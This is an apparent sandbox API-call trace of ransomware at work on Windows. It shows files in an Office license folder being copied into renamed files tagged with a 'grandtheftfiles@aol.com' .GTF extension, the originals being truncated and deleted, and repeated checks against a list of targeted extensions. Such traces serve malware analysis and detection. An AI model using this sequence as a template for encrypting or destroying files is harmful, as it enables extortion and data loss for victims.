	[0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.570] lstrlenW (lpString=".1cd") returned 4
	[0179.570] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0179.570] lstrlenW (lpString=".jpg") returned 4
	[0179.570] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.570] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.570] lstrlenW (lpString="O365HomePremR_SubTest4-ppd.xrm-ms") returned 33
	[0179.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.571] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23134) returned 1
	[0179.571] CloseHandle (hObject=0x504) returned 1
	[0179.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 0x220
	[0179.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.571] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.572] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.572] GetLastError () returned 0x0
	[0179.572] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0179.577] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0179.578] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.578] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0179.578] SetEndOfFile (hFile=0x540) returned 1
	[0179.579] CloseHandle (hObject=0x540) returned 1
	[0179.582] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.582] SetEndOfFile (hFile=0x504) returned 1
	[0179.592] CloseHandle (hObject=0x504) returned 1
	[0179.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 1
	[0179.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.593] lstrlenW (lpString=".doc") returned 4
	[0179.593] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.593] lstrlenW (lpString=".docx") returned 5
	[0179.593] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.593] lstrlenW (lpString=".pdf") returned 4
	[0179.593] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.593] lstrlenW (lpString=".xls") returned 4
	[0179.593] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString=".xlsx") returned 5
	[0179.594] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.594] lstrlenW (lpString=".ppt") returned 4
	[0179.594] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.594] lstrlenW (lpString=".zip") returned 4
	[0179.594] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString=".rar") returned 4
	[0179.594] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString=".bz2") returned 4
	[0179.594] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString=".7z") returned 3
	[0179.594] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.594] lstrlenW (lpString=".dbf") returned 4
	[0179.594] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.594] lstrlenW (lpString=".1cd") returned 4
	[0179.594] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.594] lstrlenW (lpString=".jpg") returned 4
	[0179.594] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.594] lstrlenW (lpString=".doc") returned 4
	[0179.594] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString=".docx") returned 5
	[0179.594] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.594] lstrlenW (lpString=".pdf") returned 4
	[0179.594] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString=".xls") returned 4
	[0179.594] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.594] lstrlenW (lpString=".xlsx") returned 5
	[0179.594] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.594] lstrlenW (lpString=".ppt") returned 4
	[0179.594] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.595] lstrlenW (lpString=".zip") returned 4
	[0179.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.595] lstrlenW (lpString=".rar") returned 4
	[0179.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.595] lstrlenW (lpString=".bz2") returned 4
	[0179.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.595] lstrlenW (lpString=".7z") returned 3
	[0179.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.595] lstrlenW (lpString=".dbf") returned 4
	[0179.595] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.595] lstrlenW (lpString=".1cd") returned 4
	[0179.595] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
	[0179.595] lstrlenW (lpString=".jpg") returned 4
	[0179.595] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.595] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.595] lstrlenW (lpString="O365HomePremR_SubTest5-pl.xrm-ms") returned 32
	[0179.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.596] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11179) returned 1
	[0179.596] CloseHandle (hObject=0x504) returned 1
	[0179.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 0x220
	[0179.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.597] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.597] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.597] GetLastError () returned 0x0
	[0179.597] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0179.683] WriteFile (in: hFile=0x378, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0179.692] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.692] WriteFile (in: hFile=0x378, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x114, lpOverlapped=0x0) returned 1
	[0179.692] SetEndOfFile (hFile=0x378) returned 1
	[0179.693] CloseHandle (hObject=0x378) returned 1
	[0179.693] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.693] SetEndOfFile (hFile=0x504) returned 1
	[0179.695] CloseHandle (hObject=0x504) returned 1
	[0179.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms")) returned 1
	[0179.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.696] lstrlenW (lpString=".doc") returned 4
	[0179.696] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.696] lstrlenW (lpString=".docx") returned 5
	[0179.696] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.696] lstrlenW (lpString=".pdf") returned 4
	[0179.696] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.696] lstrlenW (lpString=".xls") returned 4
	[0179.696] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString=".xlsx") returned 5
	[0179.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.697] lstrlenW (lpString=".ppt") returned 4
	[0179.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.697] lstrlenW (lpString=".zip") returned 4
	[0179.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString=".rar") returned 4
	[0179.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString=".bz2") returned 4
	[0179.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString=".7z") returned 3
	[0179.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.697] lstrlenW (lpString=".dbf") returned 4
	[0179.697] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.697] lstrlenW (lpString=".1cd") returned 4
	[0179.697] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.697] lstrlenW (lpString=".jpg") returned 4
	[0179.697] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.697] lstrlenW (lpString=".doc") returned 4
	[0179.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString=".docx") returned 5
	[0179.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.697] lstrlenW (lpString=".pdf") returned 4
	[0179.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString=".xls") returned 4
	[0179.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.697] lstrlenW (lpString=".xlsx") returned 5
	[0179.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.697] lstrlenW (lpString=".ppt") returned 4
	[0179.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.698] lstrlenW (lpString=".zip") returned 4
	[0179.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.698] lstrlenW (lpString=".rar") returned 4
	[0179.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.698] lstrlenW (lpString=".bz2") returned 4
	[0179.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.698] lstrlenW (lpString=".7z") returned 3
	[0179.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.698] lstrlenW (lpString=".dbf") returned 4
	[0179.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.698] lstrlenW (lpString=".1cd") returned 4
	[0179.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms") returned 82
	[0179.698] lstrlenW (lpString=".jpg") returned 4
	[0179.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.698] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.698] lstrlenW (lpString="O365HomePremR_SubTrial1-ppd.xrm-ms") returned 34
	[0179.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.699] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23135) returned 1
	[0179.699] CloseHandle (hObject=0x504) returned 1
	[0179.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 0x220
	[0179.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.699] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.699] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0179.700] GetLastError () returned 0x0
	[0179.700] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0179.719] WriteFile (in: hFile=0x378, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0179.720] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.720] WriteFile (in: hFile=0x378, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x118, lpOverlapped=0x0) returned 1
	[0179.720] SetEndOfFile (hFile=0x378) returned 1
	[0179.727] CloseHandle (hObject=0x378) returned 1
	[0179.728] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.728] SetEndOfFile (hFile=0x504) returned 1
	[0179.747] CloseHandle (hObject=0x504) returned 1
	[0179.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 1
	[0179.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.991] lstrlenW (lpString=".doc") returned 4
	[0179.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.991] lstrlenW (lpString=".docx") returned 5
	[0179.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.991] lstrlenW (lpString=".pdf") returned 4
	[0179.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.991] lstrlenW (lpString=".xls") returned 4
	[0179.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.991] lstrlenW (lpString=".xlsx") returned 5
	[0179.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.991] lstrlenW (lpString=".ppt") returned 4
	[0179.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.991] lstrlenW (lpString=".zip") returned 4
	[0179.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.991] lstrlenW (lpString=".rar") returned 4
	[0179.991] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.991] lstrlenW (lpString=".bz2") returned 4
	[0179.991] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.991] lstrlenW (lpString=".7z") returned 3
	[0179.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.992] lstrlenW (lpString=".dbf") returned 4
	[0179.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.992] lstrlenW (lpString=".1cd") returned 4
	[0179.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.992] lstrlenW (lpString=".jpg") returned 4
	[0179.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.992] lstrlenW (lpString=".doc") returned 4
	[0179.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString=".docx") returned 5
	[0179.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.992] lstrlenW (lpString=".pdf") returned 4
	[0179.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString=".xls") returned 4
